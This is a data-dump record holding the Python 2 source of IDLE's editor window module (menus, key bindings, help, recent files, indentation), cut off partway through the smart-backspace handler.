code
stringlengths
2
1.05M
repo_name
stringlengths
5
104
path
stringlengths
4
251
language
stringclasses
1 value
license
stringclasses
15 values
size
int32
2
1.05M
import sys import os import re import imp from Tkinter import * import tkSimpleDialog import tkMessageBox import webbrowser from idlelib.MultiCall import MultiCallCreator from idlelib import idlever from idlelib import WindowList from idlelib import SearchDialog from idlelib import GrepDialog from idlelib import ReplaceDialog from idlelib import PyParse from idlelib.configHandler import idleConf from idlelib import aboutDialog, textView, configDialog from idlelib import macosxSupport # The default tab setting for a Text widget, in average-width characters. TK_TABWIDTH_DEFAULT = 8 def _sphinx_version(): "Format sys.version_info to produce the Sphinx version string used to install the chm docs" major, minor, micro, level, serial = sys.version_info release = '%s%s' % (major, minor) if micro: release += '%s' % (micro,) if level == 'candidate': release += 'rc%s' % (serial,) elif level != 'final': release += '%s%s' % (level[0], serial) return release def _find_module(fullname, path=None): """Version of imp.find_module() that handles hierarchical module names""" file = None for tgt in fullname.split('.'): if file is not None: file.close() # close intermediate files (file, filename, descr) = imp.find_module(tgt, path) if descr[2] == imp.PY_SOURCE: break # find but not load the source file module = imp.load_module(tgt, file, filename, descr) try: path = module.__path__ except AttributeError: raise ImportError, 'No source for module ' + module.__name__ if descr[2] != imp.PY_SOURCE: # If all of the above fails and didn't raise an exception,fallback # to a straight import which can find __init__.py in a package. m = __import__(fullname) try: filename = m.__file__ except AttributeError: pass else: file = None base, ext = os.path.splitext(filename) if ext == '.pyc': ext = '.py' filename = base + ext descr = filename, None, imp.PY_SOURCE return file, filename, descr class HelpDialog(object): def __init__(self): self.parent = None # parent of help window self.dlg = None # the help window iteself def display(self, parent, near=None): """ Display the help dialog. parent - parent widget for the help window near - a Toplevel widget (e.g. EditorWindow or PyShell) to use as a reference for placing the help window """ if self.dlg is None: self.show_dialog(parent) if near: self.nearwindow(near) def show_dialog(self, parent): self.parent = parent fn=os.path.join(os.path.abspath(os.path.dirname(__file__)),'help.txt') self.dlg = dlg = textView.view_file(parent,'Help',fn, modal=False) dlg.bind('<Destroy>', self.destroy, '+') def nearwindow(self, near): # Place the help dialog near the window specified by parent. # Note - this may not reposition the window in Metacity # if "/apps/metacity/general/disable_workarounds" is enabled dlg = self.dlg geom = (near.winfo_rootx() + 10, near.winfo_rooty() + 10) dlg.withdraw() dlg.geometry("=+%d+%d" % geom) dlg.deiconify() dlg.lift() def destroy(self, ev=None): self.dlg = None self.parent = None helpDialog = HelpDialog() # singleton instance class EditorWindow(object): from idlelib.Percolator import Percolator from idlelib.ColorDelegator import ColorDelegator from idlelib.UndoDelegator import UndoDelegator from idlelib.IOBinding import IOBinding, filesystemencoding, encoding from idlelib import Bindings from Tkinter import Toplevel from idlelib.MultiStatusBar import MultiStatusBar help_url = None def __init__(self, flist=None, filename=None, key=None, root=None): if EditorWindow.help_url is None: dochome = os.path.join(sys.prefix, 'Doc', 'index.html') if sys.platform.count('linux'): # look for html docs in a couple of standard places pyver = 'python-docs-' + '%s.%s.%s' % sys.version_info[:3] if os.path.isdir('/var/www/html/python/'): # "python2" rpm dochome = '/var/www/html/python/index.html' else: basepath = '/usr/share/doc/' # standard location dochome = os.path.join(basepath, pyver, 'Doc', 'index.html') elif sys.platform[:3] == 'win': chmfile = os.path.join(sys.prefix, 'Doc', 'Python%s.chm' % _sphinx_version()) if os.path.isfile(chmfile): dochome = chmfile elif macosxSupport.runningAsOSXApp(): # documentation is stored inside the python framework dochome = os.path.join(sys.prefix, 'Resources/English.lproj/Documentation/index.html') dochome = os.path.normpath(dochome) if os.path.isfile(dochome): EditorWindow.help_url = dochome if sys.platform == 'darwin': # Safari requires real file:-URLs EditorWindow.help_url = 'file://' + EditorWindow.help_url else: EditorWindow.help_url = "http://docs.python.org/%d.%d" % sys.version_info[:2] currentTheme=idleConf.CurrentTheme() self.flist = flist root = root or flist.root self.root = root try: sys.ps1 except AttributeError: sys.ps1 = '>>> ' self.menubar = Menu(root) self.top = top = WindowList.ListedToplevel(root, menu=self.menubar) if flist: self.tkinter_vars = flist.vars #self.top.instance_dict makes flist.inversedict available to #configDialog.py so it can access all EditorWindow instances self.top.instance_dict = flist.inversedict else: self.tkinter_vars = {} # keys: Tkinter event names # values: Tkinter variable instances self.top.instance_dict = {} self.recent_files_path = os.path.join(idleConf.GetUserCfgDir(), 'recent-files.lst') self.text_frame = text_frame = Frame(top) self.vbar = vbar = Scrollbar(text_frame, name='vbar') self.width = idleConf.GetOption('main','EditorWindow','width', type='int') text_options = { 'name': 'text', 'padx': 5, 'wrap': 'none', 'width': self.width, 'height': idleConf.GetOption('main', 'EditorWindow', 'height', type='int')} if TkVersion >= 8.5: # Starting with tk 8.5 we have to set the new tabstyle option # to 'wordprocessor' to achieve the same display of tabs as in # older tk versions. text_options['tabstyle'] = 'wordprocessor' self.text = text = MultiCallCreator(Text)(text_frame, **text_options) self.top.focused_widget = self.text self.createmenubar() self.apply_bindings() self.top.protocol("WM_DELETE_WINDOW", self.close) self.top.bind("<<close-window>>", self.close_event) if macosxSupport.runningAsOSXApp(): # Command-W on editorwindows doesn't work without this. text.bind('<<close-window>>', self.close_event) # Some OS X systems have only one mouse button, # so use control-click for pulldown menus there. # (Note, AquaTk defines <2> as the right button if # present and the Tk Text widget already binds <2>.) text.bind("<Control-Button-1>",self.right_menu_event) else: # Elsewhere, use right-click for pulldown menus. text.bind("<3>",self.right_menu_event) text.bind("<<cut>>", self.cut) text.bind("<<copy>>", self.copy) text.bind("<<paste>>", self.paste) text.bind("<<center-insert>>", self.center_insert_event) text.bind("<<help>>", self.help_dialog) text.bind("<<python-docs>>", self.python_docs) text.bind("<<about-idle>>", self.about_dialog) text.bind("<<open-config-dialog>>", self.config_dialog) text.bind("<<open-module>>", self.open_module) text.bind("<<do-nothing>>", lambda event: "break") text.bind("<<select-all>>", self.select_all) text.bind("<<remove-selection>>", self.remove_selection) text.bind("<<find>>", self.find_event) text.bind("<<find-again>>", self.find_again_event) text.bind("<<find-in-files>>", self.find_in_files_event) text.bind("<<find-selection>>", self.find_selection_event) text.bind("<<replace>>", self.replace_event) text.bind("<<goto-line>>", self.goto_line_event) text.bind("<<smart-backspace>>",self.smart_backspace_event) text.bind("<<newline-and-indent>>",self.newline_and_indent_event) text.bind("<<smart-indent>>",self.smart_indent_event) text.bind("<<indent-region>>",self.indent_region_event) text.bind("<<dedent-region>>",self.dedent_region_event) text.bind("<<comment-region>>",self.comment_region_event) text.bind("<<uncomment-region>>",self.uncomment_region_event) text.bind("<<tabify-region>>",self.tabify_region_event) text.bind("<<untabify-region>>",self.untabify_region_event) text.bind("<<toggle-tabs>>",self.toggle_tabs_event) text.bind("<<change-indentwidth>>",self.change_indentwidth_event) text.bind("<Left>", self.move_at_edge_if_selection(0)) text.bind("<Right>", self.move_at_edge_if_selection(1)) text.bind("<<del-word-left>>", self.del_word_left) text.bind("<<del-word-right>>", self.del_word_right) text.bind("<<beginning-of-line>>", self.home_callback) if flist: flist.inversedict[self] = key if key: flist.dict[key] = self text.bind("<<open-new-window>>", self.new_callback) text.bind("<<close-all-windows>>", self.flist.close_all_callback) text.bind("<<open-class-browser>>", self.open_class_browser) text.bind("<<open-path-browser>>", self.open_path_browser) self.set_status_bar() vbar['command'] = text.yview vbar.pack(side=RIGHT, fill=Y) text['yscrollcommand'] = vbar.set fontWeight = 'normal' if idleConf.GetOption('main', 'EditorWindow', 'font-bold', type='bool'): fontWeight='bold' text.config(font=(idleConf.GetOption('main', 'EditorWindow', 'font'), idleConf.GetOption('main', 'EditorWindow', 'font-size', type='int'), fontWeight)) text_frame.pack(side=LEFT, fill=BOTH, expand=1) text.pack(side=TOP, fill=BOTH, expand=1) text.focus_set() # usetabs true -> literal tab characters are used by indent and # dedent cmds, possibly mixed with spaces if # indentwidth is not a multiple of tabwidth, # which will cause Tabnanny to nag! # false -> tab characters are converted to spaces by indent # and dedent cmds, and ditto TAB keystrokes # Although use-spaces=0 can be configured manually in config-main.def, # configuration of tabs v. spaces is not supported in the configuration # dialog. IDLE promotes the preferred Python indentation: use spaces! usespaces = idleConf.GetOption('main', 'Indent', 'use-spaces', type='bool') self.usetabs = not usespaces # tabwidth is the display width of a literal tab character. # CAUTION: telling Tk to use anything other than its default # tab setting causes it to use an entirely different tabbing algorithm, # treating tab stops as fixed distances from the left margin. # Nobody expects this, so for now tabwidth should never be changed. self.tabwidth = 8 # must remain 8 until Tk is fixed. # indentwidth is the number of screen characters per indent level. # The recommended Python indentation is four spaces. self.indentwidth = self.tabwidth self.set_notabs_indentwidth() # If context_use_ps1 is true, parsing searches back for a ps1 line; # else searches for a popular (if, def, ...) Python stmt. self.context_use_ps1 = False # When searching backwards for a reliable place to begin parsing, # first start num_context_lines[0] lines back, then # num_context_lines[1] lines back if that didn't work, and so on. # The last value should be huge (larger than the # of lines in a # conceivable file). # Making the initial values larger slows things down more often. self.num_context_lines = 50, 500, 5000000 self.per = per = self.Percolator(text) self.undo = undo = self.UndoDelegator() per.insertfilter(undo) text.undo_block_start = undo.undo_block_start text.undo_block_stop = undo.undo_block_stop undo.set_saved_change_hook(self.saved_change_hook) # IOBinding implements file I/O and printing functionality self.io = io = self.IOBinding(self) io.set_filename_change_hook(self.filename_change_hook) # Create the recent files submenu self.recent_files_menu = Menu(self.menubar) self.menudict['file'].insert_cascade(3, label='Recent Files', underline=0, menu=self.recent_files_menu) self.update_recent_files_list() self.color = None # initialized below in self.ResetColorizer if filename: if os.path.exists(filename) and not os.path.isdir(filename): io.loadfile(filename) else: io.set_filename(filename) self.ResetColorizer() self.saved_change_hook() self.set_indentation_params(self.ispythonsource(filename)) self.load_extensions() menu = self.menudict.get('windows') if menu: end = menu.index("end") if end is None: end = -1 if end >= 0: menu.add_separator() end = end + 1 self.wmenu_end = end WindowList.register_callback(self.postwindowsmenu) # Some abstractions so IDLE extensions are cross-IDE self.askyesno = tkMessageBox.askyesno self.askinteger = tkSimpleDialog.askinteger self.showerror = tkMessageBox.showerror self._highlight_workaround() # Fix selection tags on Windows def _highlight_workaround(self): # On Windows, Tk removes painting of the selection # tags which is different behavior than on Linux and Mac. # See issue14146 for more information. if not sys.platform.startswith('win'): return text = self.text text.event_add("<<Highlight-FocusOut>>", "<FocusOut>") text.event_add("<<Highlight-FocusIn>>", "<FocusIn>") def highlight_fix(focus): sel_range = text.tag_ranges("sel") if sel_range: if focus == 'out': HILITE_CONFIG = idleConf.GetHighlight( idleConf.CurrentTheme(), 'hilite') text.tag_config("sel_fix", HILITE_CONFIG) text.tag_raise("sel_fix") text.tag_add("sel_fix", *sel_range) elif focus == 'in': text.tag_remove("sel_fix", "1.0", "end") text.bind("<<Highlight-FocusOut>>", lambda ev: highlight_fix("out")) text.bind("<<Highlight-FocusIn>>", lambda ev: highlight_fix("in")) def _filename_to_unicode(self, filename): """convert filename to unicode in order to display it in Tk""" if isinstance(filename, unicode) or not filename: return filename else: try: return filename.decode(self.filesystemencoding) except UnicodeDecodeError: # XXX try: return filename.decode(self.encoding) except UnicodeDecodeError: # byte-to-byte conversion return filename.decode('iso8859-1') def new_callback(self, event): dirname, basename = self.io.defaultfilename() self.flist.new(dirname) return "break" def home_callback(self, event): if (event.state & 4) != 0 and event.keysym == "Home": # state&4==Control. If <Control-Home>, use the Tk binding. return if self.text.index("iomark") and \ self.text.compare("iomark", "<=", "insert lineend") and \ self.text.compare("insert linestart", "<=", "iomark"): # In Shell on input line, go to just after prompt insertpt = int(self.text.index("iomark").split(".")[1]) else: line = self.text.get("insert linestart", "insert lineend") for insertpt in xrange(len(line)): if line[insertpt] not in (' ','\t'): break else: insertpt=len(line) lineat = int(self.text.index("insert").split('.')[1]) if insertpt == lineat: insertpt = 0 dest = "insert linestart+"+str(insertpt)+"c" if (event.state&1) == 0: # shift was not pressed self.text.tag_remove("sel", "1.0", "end") else: if not self.text.index("sel.first"): self.text.mark_set("my_anchor", "insert") # there was no previous selection else: if self.text.compare(self.text.index("sel.first"), "<", self.text.index("insert")): self.text.mark_set("my_anchor", "sel.first") # extend back else: self.text.mark_set("my_anchor", "sel.last") # extend forward first = self.text.index(dest) last = self.text.index("my_anchor") if self.text.compare(first,">",last): first,last = last,first self.text.tag_remove("sel", "1.0", "end") self.text.tag_add("sel", first, last) self.text.mark_set("insert", dest) self.text.see("insert") return "break" def set_status_bar(self): self.status_bar = self.MultiStatusBar(self.top) if macosxSupport.runningAsOSXApp(): # Insert some padding to avoid obscuring some of the statusbar # by the resize widget. self.status_bar.set_label('_padding1', ' ', side=RIGHT) self.status_bar.set_label('column', 'Col: ?', side=RIGHT) self.status_bar.set_label('line', 'Ln: ?', side=RIGHT) self.status_bar.pack(side=BOTTOM, fill=X) self.text.bind("<<set-line-and-column>>", self.set_line_and_column) self.text.event_add("<<set-line-and-column>>", "<KeyRelease>", "<ButtonRelease>") self.text.after_idle(self.set_line_and_column) def set_line_and_column(self, event=None): line, column = self.text.index(INSERT).split('.') self.status_bar.set_label('column', 'Col: %s' % column) self.status_bar.set_label('line', 'Ln: %s' % line) menu_specs = [ ("file", "_File"), ("edit", "_Edit"), ("format", "F_ormat"), ("run", "_Run"), ("options", "_Options"), ("windows", "_Windows"), ("help", "_Help"), ] if macosxSupport.runningAsOSXApp(): menu_specs[-2] = ("windows", "_Window") def createmenubar(self): mbar = self.menubar self.menudict = menudict = {} for name, label in self.menu_specs: underline, label = prepstr(label) menudict[name] = menu = Menu(mbar, name=name) mbar.add_cascade(label=label, menu=menu, underline=underline) if macosxSupport.isCarbonAquaTk(self.root): # Insert the application menu menudict['application'] = menu = Menu(mbar, name='apple') mbar.add_cascade(label='IDLE', menu=menu) self.fill_menus() self.base_helpmenu_length = self.menudict['help'].index(END) self.reset_help_menu_entries() def postwindowsmenu(self): # Only called when Windows menu exists menu = self.menudict['windows'] end = menu.index("end") if end is None: end = -1 if end > self.wmenu_end: menu.delete(self.wmenu_end+1, end) WindowList.add_windows_to_menu(menu) rmenu = None def right_menu_event(self, event): self.text.mark_set("insert", "@%d,%d" % (event.x, event.y)) if not self.rmenu: self.make_rmenu() rmenu = self.rmenu self.event = event iswin = sys.platform[:3] == 'win' if iswin: self.text.config(cursor="arrow") for item in self.rmenu_specs: try: label, eventname, verify_state = item except ValueError: # see issue1207589 continue if verify_state is None: continue state = getattr(self, verify_state)() rmenu.entryconfigure(label, state=state) rmenu.tk_popup(event.x_root, event.y_root) if iswin: self.text.config(cursor="ibeam") rmenu_specs = [ # ("Label", "<<virtual-event>>", "statefuncname"), ... ("Close", "<<close-window>>", None), # Example ] def make_rmenu(self): rmenu = Menu(self.text, tearoff=0) for item in self.rmenu_specs: label, eventname = item[0], item[1] if label is not None: def command(text=self.text, eventname=eventname): text.event_generate(eventname) rmenu.add_command(label=label, command=command) else: rmenu.add_separator() self.rmenu = rmenu def rmenu_check_cut(self): return self.rmenu_check_copy() def rmenu_check_copy(self): try: indx = self.text.index('sel.first') except TclError: return 'disabled' else: return 'normal' if indx else 'disabled' def rmenu_check_paste(self): try: self.text.tk.call('tk::GetSelection', self.text, 'CLIPBOARD') except TclError: return 'disabled' else: return 'normal' def about_dialog(self, event=None): aboutDialog.AboutDialog(self.top,'About IDLE') def config_dialog(self, event=None): configDialog.ConfigDialog(self.top,'Settings') def help_dialog(self, event=None): if self.root: parent = self.root else: parent = self.top helpDialog.display(parent, near=self.top) def python_docs(self, event=None): if sys.platform[:3] == 'win': try: os.startfile(self.help_url) except WindowsError as why: tkMessageBox.showerror(title='Document Start Failure', message=str(why), parent=self.text) else: webbrowser.open(self.help_url) return "break" def cut(self,event): self.text.event_generate("<<Cut>>") return "break" def copy(self,event): if not self.text.tag_ranges("sel"): # There is no selection, so do nothing and maybe interrupt. return self.text.event_generate("<<Copy>>") return "break" def paste(self,event): self.text.event_generate("<<Paste>>") self.text.see("insert") return "break" def select_all(self, event=None): self.text.tag_add("sel", "1.0", "end-1c") self.text.mark_set("insert", "1.0") self.text.see("insert") return "break" def remove_selection(self, event=None): self.text.tag_remove("sel", "1.0", "end") self.text.see("insert") def move_at_edge_if_selection(self, edge_index): """Cursor move begins at start or end of selection When a left/right cursor key is pressed create and return to Tkinter a function which causes a cursor move from the associated edge of the selection. """ self_text_index = self.text.index self_text_mark_set = self.text.mark_set edges_table = ("sel.first+1c", "sel.last-1c") def move_at_edge(event): if (event.state & 5) == 0: # no shift(==1) or control(==4) pressed try: self_text_index("sel.first") self_text_mark_set("insert", edges_table[edge_index]) except TclError: pass return move_at_edge def del_word_left(self, event): self.text.event_generate('<Meta-Delete>') return "break" def del_word_right(self, event): self.text.event_generate('<Meta-d>') return "break" def find_event(self, event): SearchDialog.find(self.text) return "break" def find_again_event(self, event): SearchDialog.find_again(self.text) return "break" def find_selection_event(self, event): SearchDialog.find_selection(self.text) return "break" def find_in_files_event(self, event): GrepDialog.grep(self.text, self.io, self.flist) return "break" def replace_event(self, event): ReplaceDialog.replace(self.text) return "break" def goto_line_event(self, event): text = self.text lineno = tkSimpleDialog.askinteger("Goto", "Go to line number:",parent=text) if lineno is None: return "break" if lineno <= 0: text.bell() return "break" text.mark_set("insert", "%d.0" % lineno) text.see("insert") def open_module(self, event=None): # XXX Shouldn't this be in IOBinding or in FileList? try: name = self.text.get("sel.first", "sel.last") except TclError: name = "" else: name = name.strip() name = tkSimpleDialog.askstring("Module", "Enter the name of a Python module\n" "to search on sys.path and open:", parent=self.text, initialvalue=name) if name: name = name.strip() if not name: return # XXX Ought to insert current file's directory in front of path try: (f, file, (suffix, mode, type)) = _find_module(name) except (NameError, ImportError) as msg: tkMessageBox.showerror("Import error", str(msg), parent=self.text) return if type != imp.PY_SOURCE: tkMessageBox.showerror("Unsupported type", "%s is not a source module" % name, parent=self.text) return if f: f.close() if self.flist: self.flist.open(file) else: self.io.loadfile(file) def open_class_browser(self, event=None): filename = self.io.filename if not filename: tkMessageBox.showerror( "No filename", "This buffer has no associated filename", master=self.text) self.text.focus_set() return None head, tail = os.path.split(filename) base, ext = os.path.splitext(tail) from idlelib import ClassBrowser ClassBrowser.ClassBrowser(self.flist, base, [head]) def open_path_browser(self, event=None): from idlelib import PathBrowser PathBrowser.PathBrowser(self.flist) def gotoline(self, lineno): if lineno is not None and lineno > 0: self.text.mark_set("insert", "%d.0" % lineno) self.text.tag_remove("sel", "1.0", "end") self.text.tag_add("sel", "insert", "insert +1l") self.center() def ispythonsource(self, filename): if not filename or os.path.isdir(filename): return True base, ext = os.path.splitext(os.path.basename(filename)) if os.path.normcase(ext) in (".py", ".pyw"): return True try: f = open(filename) line = f.readline() f.close() except IOError: return False return line.startswith('#!') and line.find('python') >= 0 def close_hook(self): if self.flist: self.flist.unregister_maybe_terminate(self) self.flist = None def set_close_hook(self, close_hook): self.close_hook = close_hook def filename_change_hook(self): if self.flist: self.flist.filename_changed_edit(self) self.saved_change_hook() self.top.update_windowlist_registry(self) self.ResetColorizer() def _addcolorizer(self): if self.color: return if self.ispythonsource(self.io.filename): self.color = self.ColorDelegator() # can add more colorizers here... if self.color: self.per.removefilter(self.undo) self.per.insertfilter(self.color) self.per.insertfilter(self.undo) def _rmcolorizer(self): if not self.color: return self.color.removecolors() self.per.removefilter(self.color) self.color = None def ResetColorizer(self): "Update the colour theme" # Called from self.filename_change_hook and from configDialog.py self._rmcolorizer() self._addcolorizer() theme = idleConf.GetOption('main','Theme','name') normal_colors = idleConf.GetHighlight(theme, 'normal') cursor_color = idleConf.GetHighlight(theme, 'cursor', fgBg='fg') select_colors = idleConf.GetHighlight(theme, 'hilite') self.text.config( foreground=normal_colors['foreground'], background=normal_colors['background'], insertbackground=cursor_color, selectforeground=select_colors['foreground'], selectbackground=select_colors['background'], ) def ResetFont(self): "Update the text widgets' font if it is changed" # Called from configDialog.py fontWeight='normal' if idleConf.GetOption('main','EditorWindow','font-bold',type='bool'): fontWeight='bold' self.text.config(font=(idleConf.GetOption('main','EditorWindow','font'), idleConf.GetOption('main','EditorWindow','font-size', type='int'), fontWeight)) def RemoveKeybindings(self): "Remove the keybindings before they are changed." # Called from configDialog.py self.Bindings.default_keydefs = keydefs = idleConf.GetCurrentKeySet() for event, keylist in keydefs.items(): self.text.event_delete(event, *keylist) for extensionName in self.get_standard_extension_names(): xkeydefs = idleConf.GetExtensionBindings(extensionName) if xkeydefs: for event, keylist in xkeydefs.items(): self.text.event_delete(event, *keylist) def ApplyKeybindings(self): "Update the keybindings after they are changed" # Called from configDialog.py self.Bindings.default_keydefs = keydefs = idleConf.GetCurrentKeySet() self.apply_bindings() for extensionName in self.get_standard_extension_names(): xkeydefs = idleConf.GetExtensionBindings(extensionName) if xkeydefs: self.apply_bindings(xkeydefs) #update menu accelerators menuEventDict = {} for menu in self.Bindings.menudefs: menuEventDict[menu[0]] = {} for item in menu[1]: if item: menuEventDict[menu[0]][prepstr(item[0])[1]] = item[1] for menubarItem in self.menudict.keys(): menu = self.menudict[menubarItem] end = menu.index(END) if end is None: # Skip empty menus continue end += 1 for index in range(0, end): if menu.type(index) == 'command': accel = menu.entrycget(index, 'accelerator') if accel: itemName = menu.entrycget(index, 'label') event = '' if menubarItem in menuEventDict: if itemName in menuEventDict[menubarItem]: event = menuEventDict[menubarItem][itemName] if event: accel = get_accelerator(keydefs, event) menu.entryconfig(index, accelerator=accel) def set_notabs_indentwidth(self): "Update the indentwidth if changed and not using tabs in this window" # Called from configDialog.py if not self.usetabs: self.indentwidth = idleConf.GetOption('main', 'Indent','num-spaces', type='int') def reset_help_menu_entries(self): "Update the additional help entries on the Help menu" help_list = idleConf.GetAllExtraHelpSourcesList() helpmenu = self.menudict['help'] # first delete the extra help entries, if any helpmenu_length = helpmenu.index(END) if helpmenu_length > self.base_helpmenu_length: helpmenu.delete((self.base_helpmenu_length + 1), helpmenu_length) # then rebuild them if help_list: helpmenu.add_separator() for entry in help_list: cmd = self.__extra_help_callback(entry[1]) helpmenu.add_command(label=entry[0], command=cmd) # and update the menu dictionary self.menudict['help'] = helpmenu def __extra_help_callback(self, helpfile): "Create a callback with the helpfile value frozen at definition time" def display_extra_help(helpfile=helpfile): if not helpfile.startswith(('www', 'http')): helpfile = os.path.normpath(helpfile) if sys.platform[:3] == 'win': try: os.startfile(helpfile) except WindowsError as why: tkMessageBox.showerror(title='Document Start Failure', message=str(why), parent=self.text) else: webbrowser.open(helpfile) return display_extra_help def update_recent_files_list(self, new_file=None): "Load and update the recent files list and menus" rf_list = [] if os.path.exists(self.recent_files_path): with open(self.recent_files_path, 'r') as rf_list_file: rf_list = rf_list_file.readlines() if new_file: new_file = os.path.abspath(new_file) + '\n' if new_file in rf_list: rf_list.remove(new_file) # move to top rf_list.insert(0, new_file) # clean and save the recent files list bad_paths = [] for path in rf_list: if '\0' in path or not os.path.exists(path[0:-1]): bad_paths.append(path) rf_list = [path for path in rf_list if path not in bad_paths] ulchars = "1234567890ABCDEFGHIJK" rf_list = rf_list[0:len(ulchars)] try: with open(self.recent_files_path, 'w') as rf_file: rf_file.writelines(rf_list) except IOError as err: if not getattr(self.root, "recentfilelist_error_displayed", False): self.root.recentfilelist_error_displayed = True tkMessageBox.showerror(title='IDLE Error', message='Unable to update Recent Files list:\n%s' % str(err), parent=self.text) # for each edit window instance, construct the recent files menu for instance in self.top.instance_dict.keys(): menu = instance.recent_files_menu menu.delete(0, END) # clear, and rebuild: for i, file_name in enumerate(rf_list): file_name = file_name.rstrip() # zap \n # make unicode string to display non-ASCII chars correctly ufile_name = self._filename_to_unicode(file_name) callback = instance.__recent_file_callback(file_name) menu.add_command(label=ulchars[i] + " " + ufile_name, command=callback, underline=0) def __recent_file_callback(self, file_name): def open_recent_file(fn_closure=file_name): self.io.open(editFile=fn_closure) return open_recent_file def saved_change_hook(self): short = self.short_title() long = self.long_title() if short and long: title = short + " - " + long elif short: title = short elif long: title = long else: title = "Untitled" icon = short or long or title if not self.get_saved(): title = "*%s*" % title icon = "*%s" % icon self.top.wm_title(title) self.top.wm_iconname(icon) def get_saved(self): return self.undo.get_saved() def set_saved(self, flag): self.undo.set_saved(flag) def reset_undo(self): self.undo.reset_undo() def short_title(self): filename = self.io.filename if filename: filename = os.path.basename(filename) # return unicode string to display non-ASCII chars correctly return self._filename_to_unicode(filename) def long_title(self): # return unicode string to display non-ASCII chars correctly return self._filename_to_unicode(self.io.filename or "") def center_insert_event(self, event): self.center() def center(self, mark="insert"): text = self.text top, bot = self.getwindowlines() lineno = self.getlineno(mark) height = bot - top newtop = max(1, lineno - height//2) text.yview(float(newtop)) def getwindowlines(self): text = self.text top = self.getlineno("@0,0") bot = self.getlineno("@0,65535") if top == bot and text.winfo_height() == 1: # Geometry manager hasn't run yet height = int(text['height']) bot = top + height - 1 return top, bot def getlineno(self, mark="insert"): text = self.text return int(float(text.index(mark))) def get_geometry(self): "Return (width, height, x, y)" geom = self.top.wm_geometry() m = re.match(r"(\d+)x(\d+)\+(-?\d+)\+(-?\d+)", geom) tuple = (map(int, m.groups())) return tuple def close_event(self, event): self.close() def maybesave(self): if self.io: if not self.get_saved(): if self.top.state()!='normal': self.top.deiconify() self.top.lower() self.top.lift() return self.io.maybesave() def close(self): reply = self.maybesave() if str(reply) != "cancel": self._close() return reply def _close(self): if self.io.filename: self.update_recent_files_list(new_file=self.io.filename) WindowList.unregister_callback(self.postwindowsmenu) self.unload_extensions() self.io.close() self.io = None self.undo = None if self.color: self.color.close(False) self.color = None self.text = None self.tkinter_vars = None self.per.close() self.per = None self.top.destroy() if self.close_hook: # unless override: unregister from flist, terminate if last window self.close_hook() def load_extensions(self): self.extensions = {} self.load_standard_extensions() def unload_extensions(self): for ins in self.extensions.values(): if hasattr(ins, "close"): ins.close() self.extensions = {} def load_standard_extensions(self): for name in self.get_standard_extension_names(): try: self.load_extension(name) except: print "Failed to load extension", repr(name) import traceback traceback.print_exc() def get_standard_extension_names(self): return idleConf.GetExtensions(editor_only=True) def load_extension(self, name): try: mod = __import__(name, globals(), locals(), []) except ImportError: print "\nFailed to import extension: ", name return cls = getattr(mod, name) keydefs = idleConf.GetExtensionBindings(name) if hasattr(cls, "menudefs"): self.fill_menus(cls.menudefs, keydefs) ins = cls(self) self.extensions[name] = ins if keydefs: self.apply_bindings(keydefs) for vevent in keydefs.keys(): methodname = vevent.replace("-", "_") while methodname[:1] == '<': methodname = methodname[1:] while methodname[-1:] == '>': methodname = methodname[:-1] methodname = methodname + "_event" if hasattr(ins, methodname): self.text.bind(vevent, getattr(ins, methodname)) def apply_bindings(self, keydefs=None): if keydefs is None: keydefs = self.Bindings.default_keydefs text = self.text text.keydefs = keydefs for event, keylist in keydefs.items(): if keylist: text.event_add(event, *keylist) def fill_menus(self, menudefs=None, keydefs=None): """Add appropriate entries to the menus and submenus Menus that are absent or None in self.menudict are ignored. """ if menudefs is None: menudefs = self.Bindings.menudefs if keydefs is None: keydefs = self.Bindings.default_keydefs menudict = self.menudict text = self.text for mname, entrylist in menudefs: menu = menudict.get(mname) if not menu: continue for entry in entrylist: if not entry: menu.add_separator() else: label, eventname = entry checkbutton = (label[:1] == '!') if checkbutton: label = label[1:] underline, label = prepstr(label) accelerator = get_accelerator(keydefs, eventname) def command(text=text, eventname=eventname): text.event_generate(eventname) if checkbutton: var = self.get_var_obj(eventname, BooleanVar) menu.add_checkbutton(label=label, underline=underline, command=command, accelerator=accelerator, variable=var) else: menu.add_command(label=label, underline=underline, command=command, accelerator=accelerator) def getvar(self, name): var = self.get_var_obj(name) if var: value = var.get() return value else: raise NameError, name def setvar(self, name, value, vartype=None): var = self.get_var_obj(name, vartype) if var: var.set(value) else: raise NameError, name def get_var_obj(self, name, vartype=None): var = self.tkinter_vars.get(name) if not var and vartype: # create a Tkinter variable object with self.text as master: self.tkinter_vars[name] = var = vartype(self.text) return var # Tk implementations of "virtual text methods" -- each platform # reusing IDLE's support code needs to define these for its GUI's # flavor of widget. # Is character at text_index in a Python string? Return 0 for # "guaranteed no", true for anything else. This info is expensive # to compute ab initio, but is probably already known by the # platform's colorizer. def is_char_in_string(self, text_index): if self.color: # Return true iff colorizer hasn't (re)gotten this far # yet, or the character is tagged as being in a string return self.text.tag_prevrange("TODO", text_index) or \ "STRING" in self.text.tag_names(text_index) else: # The colorizer is missing: assume the worst return 1 # If a selection is defined in the text widget, return (start, # end) as Tkinter text indices, otherwise return (None, None) def get_selection_indices(self): try: first = self.text.index("sel.first") last = self.text.index("sel.last") return first, last except TclError: return None, None # Return the text widget's current view of what a tab stop means # (equivalent width in spaces). def get_tabwidth(self): current = self.text['tabs'] or TK_TABWIDTH_DEFAULT return int(current) # Set the text widget's current view of what a tab stop means. def set_tabwidth(self, newtabwidth): text = self.text if self.get_tabwidth() != newtabwidth: pixels = text.tk.call("font", "measure", text["font"], "-displayof", text.master, "n" * newtabwidth) text.configure(tabs=pixels) # If ispythonsource and guess are true, guess a good value for # indentwidth based on file content (if possible), and if # indentwidth != tabwidth set usetabs false. # In any case, adjust the Text widget's view of what a tab # character means. def set_indentation_params(self, ispythonsource, guess=True): if guess and ispythonsource: i = self.guess_indent() if 2 <= i <= 8: self.indentwidth = i if self.indentwidth != self.tabwidth: self.usetabs = False self.set_tabwidth(self.tabwidth) def smart_backspace_event(self, event): text = self.text first, last = self.get_selection_indices() if first and last: text.delete(first, last) text.mark_set("insert", first) return "break" # Delete whitespace left, until hitting a real char or closest # preceding virtual tab stop. chars = text.get("insert linestart", "insert") if chars == '': if text.compare("insert", ">", "1.0"): # easy: delete preceding newline text.delete("insert-1c") else: text.bell() # at start of buffer return "break" if chars[-1] not in " \t": # easy: delete preceding real char text.delete("insert-1c") return "break" # Ick. It may require *inserting* spaces if we back up over a # tab character! This is written to be clear, not fast. tabwidth = self.tabwidth have = len(chars.expandtabs(tabwidth)) assert have > 0 want = ((have - 1) // self.indentwidth) * self.indentwidth # Debug prompt 